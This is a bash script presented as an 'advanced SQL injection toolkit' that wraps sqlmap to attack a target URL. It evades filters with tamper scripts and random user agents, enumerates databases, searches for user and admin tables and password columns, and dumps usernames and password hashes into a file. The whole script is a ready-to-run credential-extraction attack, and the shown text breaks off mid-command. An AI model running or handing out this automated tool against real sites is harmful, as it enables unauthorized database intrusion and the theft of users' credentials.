sqlmap.sh

#!/bin/bash
# ===== COLORS =====
GREEN="\e[1;32m"
CYAN="\e[1;36m"
YELLOW="\e[1;33m"
WHITE="\e[1;37m"
RESET="\e[0m"

clear

echo -e "${CYAN}        /\           /\           /\ "
echo -e "${CYAN}       /  \         /  \         /  \ "
echo -e "${GREEN}      / /\ \       / /\ \       / /\ \ "
echo -e "${GREEN}     / /  \ \     / /  \ \     / /  \ \ "
echo -e "${YELLOW}    / /----\ \   / /----\ \   / /----\ \ "
echo -e "${YELLOW}   /_/      \_\ /_/      \_\ /_/      \_\ "
echo ""
echo -e "${WHITE}=====================================${RESET}"
echo -e "${CYAN}         ADVANCED SQLINJECTION TOOLKIT${RESET}"
echo -e "${GREEN}          Creator: Nur${RESET}"
echo -e "${WHITE}=====================================${RESET}"
echo ""
# ===== ADVANCED SQLi HASH EXTRACTOR - DUMP MODE =====

file="target.txt"
output_dir="sqlmap_results"
hash_file="extracted_hashes.txt"

# ANSI color codes
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Function to print colored output
print_color() {
    printf "${1}${2}${NC}\n"
}

# Create output directory if it doesn't exist
mkdir -p "$output_dir"

echo "----------------------------------"
echo "   ADVANCED SQLi HASH EXTRACTOR"
echo "        DUMP MODE v2.0"
echo "----------------------------------"

# -------------------------
# INPUT (NANO STYLE)
# -------------------------
print_color $BLUE "[*] Paste target URL in nano..."
nano "$file"

url=$(cat "$file" | tr -d '\n')

# -------------------------
# VALIDATION
# -------------------------
if [ -z "$url" ]; then
    print_color $RED "[!] No URL provided"
    rm -f "$file"
    exit 1
fi

print_color $GREEN "[+] Target loaded:"
echo "$url"
echo "----------------------------------"

# -------------------------
# BASIC CHECK
# -------------------------
if [[ "$url" != *"="* ]]; then
    print_color $RED "[!] ERROR: No parameter detected"
    print_color $YELLOW "[!] SQLi requires URL parameters that interact with a database"
    print_color $CYAN "[!] Examples of vulnerable URLs:"
    print_color $CYAN "[!]  - http://testphp.vulnweb.com/listproducts.php?cat=1"
    print_color $CYAN "[!]  - http://testphp.vulnweb.com/artists.php?artist=1"
    print_color $CYAN "[!]  - http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg"
    print_color $CYAN "[!]  - http://demo.testfire.net/bank/login.aspx?uid=admin"
    read -p "Do you want to continue anyway? (y/n): " choice
    if [[ "$choice" != "y" && "$choice" != "Y" ]]; then
        rm -f "$file"
        exit 0
    fi
fi

# -------------------------
# ADVANCED SCAN & HASH EXTRACTION
# -------------------------
print_color $BLUE "[*] Running advanced SQLi scan with hash extraction..."
print_color $BLUE "[*] This may take some time..."
echo "----------------------------------"

# Step 1: Quick vulnerability detection
print_color $PURPLE "[*] Phase 1: Quick vulnerability detection..."
sqlmap -u "$url" \
    --batch \
    --level=5 \
    --risk=3 \
    --timeout=30 \
    --retries=3 \
    --random-agent \
    --tamper=space2comment,randomcase,charencode \
    --output-dir="$output_dir"

# Check if we found any injection points
vuln_file=$(find "$output_dir" -name "log" -type f | head -1)
if [ -f "$vuln_file" ]; then
    # Check if sqlmap found any injectable parameters
    if grep -q "might be injectable" "$vuln_file"; then
        print_color $GREEN "[+] SQL injection vulnerability detected!"
        
        # Step 2: Enumerate databases
        print_color $PURPLE "[*] Phase 2: Enumerating databases..."
        sqlmap -u "$url" \
            --batch \
            --level=5 \
            --risk=3 \
            --timeout=30 \
            --retries=3 \
            --random-agent \
            --tamper=space2comment,randomcase,charencode \
            --dbs \
            --output-dir="$output_dir"
        
        # Extract databases from output
        databases=$(grep -o "available databases.*" "$vuln_file" | sed 's/available databases: \[//' | sed 's/\]//' | tr ',' '\n' | tr -d ' ')
        
        if [ -z "$databases" ]; then
            print_color $YELLOW "[!] No databases found, trying common tables..."
            sqlmap -u "$url" \
                --batch \
                --level=5 \
                --risk=3 \
                --timeout=30 \
                --retries=3 \
                --random-agent \
                --tamper=space2comment,randomcase,charencode \
                --common-tables \
                --output-dir="$output_dir"
        else
            print_color $GREEN "[+] Found databases:"
            echo "$databases"
            
            # Step 3: Advanced hash extraction with dump mode
            print_color $PURPLE "[*] Phase 3: Advanced hash extraction with dump mode..."
            echo "" > "$hash_file"
            
            for db in $databases; do
                print_color $BLUE "[*] Processing database: $db"
                
                # Get tables in this database
                sqlmap -u "$url" \
                    --batch \
                    --level=5 \
                    --risk=3 \
                    --timeout=30 \
                    --retries=3 \
                    --random-agent \
                    --tamper=space2comment,randomcase,charencode \
                    -D "$db" \
                    --tables \
                    --output-dir="$output_dir"
                
                # Extract tables from output
                table_file=$(find "$output_dir" -name "log" -type f | head -1)
                if [ -f "$table_file" ]; then
                    tables=$(grep -o "Table: .*" "$table_file" | awk '{print $2}' | sort | uniq)
                    
                    # Look for user-related tables
                    user_tables=$(echo "$tables" | grep -i -E "user|admin|login|account|member|auth|credential|customer|employee")
                    
                    if [ -n "$user_tables" ]; then
                        print_color $GREEN "[+] Found potential user tables in $db:"
                        echo "$user_tables"
                        
                        # For each user table, get columns and dump data
                        for table in $user_tables; do
                            print_color $CYAN "[*] Extracting columns from table: $table"
                            
                            # Get columns
                            sqlmap -u "$url" \
                                --batch \
                                --level=5 \
                                --risk=3 \
                                --timeout=30 \
                                --retries=3 \
                                --random-agent \
                                --tamper=space2comment,randomcase,charencode \
                                -D "$db" -T "$table" \
                                --columns \
                                --output-dir="$output_dir"
                            
                            # Look for password columns
                            col_file=$(find "$output_dir" -name "log" -type f | head -1)
                            if [ -f "$col_file" ]; then
                                # Extract all columns for this table
                                all_columns=$(grep -o "Column: .*" "$col_file" | awk '{print $2}' | sort | uniq)
                                
                                # Look for password-related columns
                                pass_columns=$(echo "$all_columns" | grep -i -E "pass|hash|pwd|secret|key")
                                
                                if [ -n "$pass_columns" ]; then
                                    print_color $GREEN "[+] Found password columns in $table:"
                                    echo "$pass_columns"
                                    
                                    # Get username columns
                                    user_columns=$(echo "$all_columns" | grep -i -E "user|login|email|name|id")
                                    
                                    if [ -n "$user_columns" ]; then
                                        # Dump username and password columns
                                        for user_col in $user_columns; do
                                            for pass_col in $pass_columns; do
                                                print_color $YELLOW "[*] Dumping $user_col and $pass_col from $table..."
                                                
                                                sqlmap -u "$url" \
                                                    --batch \
                                                    --level=5 \
                                                    --risk=3 \
                                                    --timeout=30 \
                                                    --retries=3 \
                                                    --random-agent \
                                                    --tamper=space2comment,randomcase,charencode \
                                                    -D "$db" -T "$table" \
                                                    -C "$user_col,$pass_col" \
                                                    --dump-all \
                                                    --output-dir="$output_dir"
                                                
                                                # Extract hashes from dump file
                                                dump_file=$(find "$output_dir" -path "*$db/$table.csv" -type f | head -1)
                                                if [ -f "$dump_file" ]; then
                                                    print_color $GREEN "[+] Extracting hashes from dump..."
                                                    
                                                    # Add to hash file with database and table info
                                                    echo "=== Database: $db, Table: $table ===" >> "$hash_file"
                                                    echo "Username Column: $user_col, Password Column: $pass_col" >> "$hash_file"
                                                    cat "$dump_file" >> "$hash_file"
                                                    echo "" >> "$hash_file"
                                                fi
                                            done
                                        done
                                    else
                                        # Only dump password columns
                                        for pass_col in $pass_columns; do
                                            print_color $YELLOW "[*] Dumping $pass_col from $table..."
                                            
                                            sqlmap -u "$url" \
                                                --batch \
                                                --level=5 \
                                                --risk=3 \